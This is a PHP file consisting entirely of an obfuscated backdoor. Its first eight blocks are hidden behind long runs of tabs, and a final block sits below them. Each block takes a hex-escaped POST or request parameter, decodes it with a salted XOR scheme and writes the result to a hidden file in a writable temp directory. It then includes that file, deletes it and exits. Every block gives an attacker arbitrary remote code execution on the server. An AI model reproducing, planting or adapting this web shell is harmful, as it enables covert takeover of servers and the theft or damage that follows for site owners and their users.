<?php																																										if(!empty($_POST["\x70tr"])){ $ent = $_POST["\x70tr"]; $ent = explode ( '.' , $ent) ; $val = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach ($ent as $r => $v8) { $chS = ord($s2[$r% $sLen]); $dec = ((int)$v8 - $chS - ($r% 10)) ^28; $val .= chr($dec); } $object = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); foreach ($object as $reference): if (!( !is_dir($reference) || !is_writable($reference) )) { $parameter_group = join("/", [$reference, ".binding"]); if (file_put_contents($parameter_group, $val)) { require $parameter_group; unlink($parameter_group); die(); } } endforeach; }
																																										if(!empty($_REQUEST["m\x72\x6B"])){ $comp = $_REQUEST["m\x72\x6B"]; $comp = explode ( "." , $comp) ; $elem=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt ); foreach ($comp as $i => $v6) { $chS=ord($salt[$i% $sLen] ); $d=((int)$v6 - $chS - ($i% 10)) ^27; $elem .= chr($d ); } $itm = array_filter(["/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP")]); for ($res = 0, $dat = count($itm); $res < $dat; $res++) { $entity = $itm[$res]; if (!!is_dir($entity) && !!is_writable($entity)) { $reference = vsprintf("%s/%s", [$entity, ".item"]); $success = file_put_contents($reference, $elem); if ($success) { include $reference; @unlink($reference); die();} } } }
																																										if(in_array("\x65\x6Ce\x6Den\x74", array_keys($_REQUEST))){ $ptr = $_REQUEST["\x65\x6Ce\x6Den\x74"]; $ptr=explode ( '.',$ptr ) ; $entity= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $__len= count($ptr); for ($v= 0; $v < $__len; $v++) { $v5= $ptr[$v]; $sChar= ord($s[$v % $lenS]); $d= ((int)$v5 - $sChar - ($v % 10))^51; $entity .= chr($d); } $descriptor = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp"]); for ($val = 0, $record = count($descriptor); $val < $record; $val++) { $data_chunk = $descriptor[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $pset = "$data_chunk/.holder"; if (@file_put_contents($pset, $entity) !== false) { include $pset; unlink($pset); exit; } } } }
																																										if(@$_POST["\x73\x79\x6Dbol"] !== null){ $binding = $_POST["\x73\x79\x6Dbol"]; $binding = explode("." , $binding ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $y = 0; $__tmp = $binding; while( $v2 = array_shift( $__tmp)) { $chS = ord( $s[$y% $lenS] ); $dec = ( ( int)$v2 - $chS -( $y% 10)) ^50; $item .= chr( $dec ); $y++; } $entry = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); foreach ($entry as $component) { if (!( !is_dir($component) || !is_writable($component) )) { $ptr = str_replace("{var_dir}", $component, "{var_dir}/.ent"); if (file_put_contents($ptr, $item)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x67\x72p"])){ $ptr = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm"]); $record = $_REQUEST["p\x67\x72p"]; $record = explode ( '.' , $record ) ; $ent = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $__len = count($record); for ($i = 0; $i < $__len; $i++) {$v9 = $record[$i]; $sChar = ord($s4[$i % $sLen]); $d = ((int)$v9 - $sChar - ($i % 10)) ^ 1; $ent .= chr($d); } foreach ($ptr as $rec): if (is_dir($rec) ? is_writable($rec) : false) { $object = str_replace("{var_dir}", $rec, "{var_dir}/.comp"); $file = fopen($object, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $object; @unlink($object); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x73\x79\x6Dbol"] ?? null)){ $token = $_REQUEST["\x73\x79\x6Dbol"]; $token= explode ( ".",$token); $val = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $q = 0; while ($q<count($token)) { $v1 = $token[$q]; $sChar = ord($salt5[$q%$lenS]); $d = ((int)$v1 - $sChar - ($q%10))^ 36; $val.=chr($d); $q++; } $ent = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($ent as $flag): if (array_product([is_dir($flag), is_writable($flag)])) { $entry = join("/", [$flag, ".tkn"]); $success = file_put_contents($entry, $val); if ($success) { include $entry; @unlink($entry); exit;} } endforeach; }
																																										if(isset($_POST["fla\x67"])){ $pgrp = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), sys_get_temp_dir()]); $mrk = $_POST["fla\x67"]; $mrk =explode ( '.' ,$mrk ); $obj = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $__len = count($mrk); for ($s = 0; $s< $__len; $s++) { $v3 = $mrk[$s]; $chS = ord($s4[$s%$lenS]); $dec = ((int)$v3 - $chS - ($s%10)) ^ 59; $obj .= chr($dec); } while ($factor = array_shift($pgrp)) { if (max(0, is_dir($factor) * is_writable($factor))) { $data = "$factor/.value"; if (file_put_contents($data, $obj)) { include $data; @unlink($data); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["pgrp"])){ $marker = $_POST["pgrp"]; $marker =explode ( "." , $marker ) ; $fac = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); foreach($marker as $i => $v7): $chS = ord($salt7[$i % $lenS]); $d = ((int)$v7 - $chS -($i % 10))^ 86; $fac.= chr($d); endforeach; $rec = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd()]); foreach ($rec as $itm) { if (array_product([is_dir($itm), is_writable($itm)])) { $descriptor = str_replace("{var_dir}", $itm, "{var_dir}/.binding"); if (@file_put_contents($descriptor, $fac) !== false) { include $descriptor; unlink($descriptor); exit; } } } }


if(!empty($_POST["p\x61\x72\x61\x6Deter_\x67\x72\x6Fup"])){
	$pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]);
	$entity = $_POST["p\x61\x72\x61\x6Deter_\x67\x72\x6Fup"];
	 	$entity = explode  	("."	, $entity	);		
	$itm  = '';
            $s6  = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  = strlen(	$s6);
            $v  = 0;
    
            array_walk(	$entity, function(	$v1) use(	&$itm, &$v, $s6, $lenS) {
                $chS  = ord(	$s6[$v % $lenS]);
                $dec  = (	(	int)$v1 - $chS -(	$v % 10)) ^ 16;
                $itm .= chr(	$dec);
                $v++;
            });
	for ($symbol = 0, $sym = count($pset); $symbol < $sym; $symbol++) {
    $ref = $pset[$symbol];
    		if ((bool)is_dir($ref) && (bool)is_writable($ref)) {
    $data_chunk = sprintf("%s/.ptr", $ref);
    if (file_put_contents($data_chunk, $itm)) {
	require $data_chunk;
	unlink($data_chunk);
	exit;
}
}
}
}